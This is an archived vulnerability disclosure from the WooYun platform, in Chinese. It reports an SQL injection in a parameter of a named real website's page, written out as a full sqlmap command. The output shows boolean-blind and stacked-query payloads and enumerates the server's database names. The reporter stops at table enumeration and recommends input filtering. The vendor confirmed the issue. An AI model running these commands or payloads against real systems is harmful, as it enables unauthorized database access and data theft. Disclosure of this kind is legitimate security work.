乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-14: 细节已通知厂商并且等待厂商处理中 2014-01-14: 厂商已经确认,细节仅向厂商公开 2014-01-24: 细节向核心白帽子及相关领域专家公开 2014-02-03: 细节向普通白帽子公开 2014-02-13: 细节向实习白帽子公开 2014-02-28: 细节向公众公开
今题网SQL注射 可导致全部数据库记录泄露 已经SQLMAP验证
注射位置
http://club.jinti.com/operation/setmoodinfo.aspx
SQLMAP跑表
C:\Users\Administrator>sqlmap.py -u "http://club.jinti.com/operation/setmoodinfo.aspx?bodyid=52164&channel=a&classid=0&mood=mood1rand=0.10818770481273532" -p channel --tables
C:\Users\Administrator>sqlmap.py -u "http://club.jinti.com/operation/setmoodinfo.aspx?bodyid=52164&channel=a&classid=0&mood=mood1&rand=0.10818770481273532" -p channel --tables sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 19:07:59[19:08:00] [INFO] resuming back-end DBMS 'microsoft sql server'[19:08:00] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: channel Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: bodyid=52164&channel=a' AND 7421=7421 AND 'TqRi'='TqRi&classid=0&mood=mood1&rand=0.10818770481273532 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: bodyid=52164&channel=a'; WAITFOR DELAY '0:0:5'--&classid=0&mood=mood1&rand=0.10818770481273532---[19:08:00] [INFO] the back-end DBMS is Microsoft SQL Serverback-end DBMS: Microsoft SQL Server 2012[19:08:00] [INFO] fetching database names[19:08:00] [INFO] fetching number of databases[19:08:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[19:08:00] [INFO] retrieved: 27[19:08:01] [INFO] retrieved: BBSDB[19:08:11] [INFO] retrieved: BBSDB_Caiji[19:08:32] [INFO] retrieved: CaiPiaoDB[19:08:49] [INFO] retrieved: ClientWebsiteDB[19:09:05] [INFO] retrieved: CompanyPhotoDB[19:09:17] [INFO] retrieved: CompanyWeb_3in1[19:09:35] [INFO] retrieved: DebugDB[19:09:49] [INFO] retrieved: GameUnionDB[19:10:06] [INFO] retrieved: HousingDB[19:10:16] [INFO] retrieved: HousingTrafficDB[19:10:47] [INFO] retrieved: HuodongDB[19:10:56] [INFO] retrieved: InfoUpdateServiceDB[19:11:17] [INFO] retrieved: JingJiRenDB[19:11:25] [INFO] retrieved: master[19:11:33] [INFO] retrieved: model[19:11:38] [INFO] retrieved: msdb[19:11:44] [INFO] retrieved: NeedDeleteDB[19:11:53] [INFO] retrieved: NewsDB[19:11:58] [INFO] retrieved: NEWUserResearchDB[19:12:11] [INFO] retrieved: Qhun[19:12:15] [INFO] retrieved: ReportServer[19:12:24] [INFO] retrieved: ReportServerTempDB[19:12:37] [INFO] retrieved: SEODB[19:12:40] [INFO] retrieved: ShowSHopDB[19:12:47] [INFO] retrieved: tempdb[19:12:52] [INFO] retrieved: UserResearchDB[19:13:01] [INFO] retrieved: XinAnDuiDB[19:13:07] [INFO] fetching tables for databases: BBSDB, BBSDB_Caiji, CaiPiaoDB,ClientWebsiteDB, CompanyPhotoDB, CompanyWeb_3in1, DebugDB, GameUnionDB, HousingDB, HousingTrafficDB, HuodongDB, InfoUpdateServiceDB, JingJiRenDB, NEWUserResearchDB, NeedDeleteDB, NewsDB, Qhun, ReportServer, ReportServerTempDB, SEODB, ShowSHopDB, UserResearchDB, XinAnDuiDB, master, model, msdb, tempdb[19:13:07] [INFO] fetching number of tables for database 'HousingTrafficDB'
就只演示到跑表吧,具体数据就不伸手拿了,危害点到为止好了
过滤所有参数,避免用户的恶意输入达到数据库查询
危害等级:中
漏洞Rank:8
确认时间:2014-01-14 14:50
已经提交给相关技术修复
暂无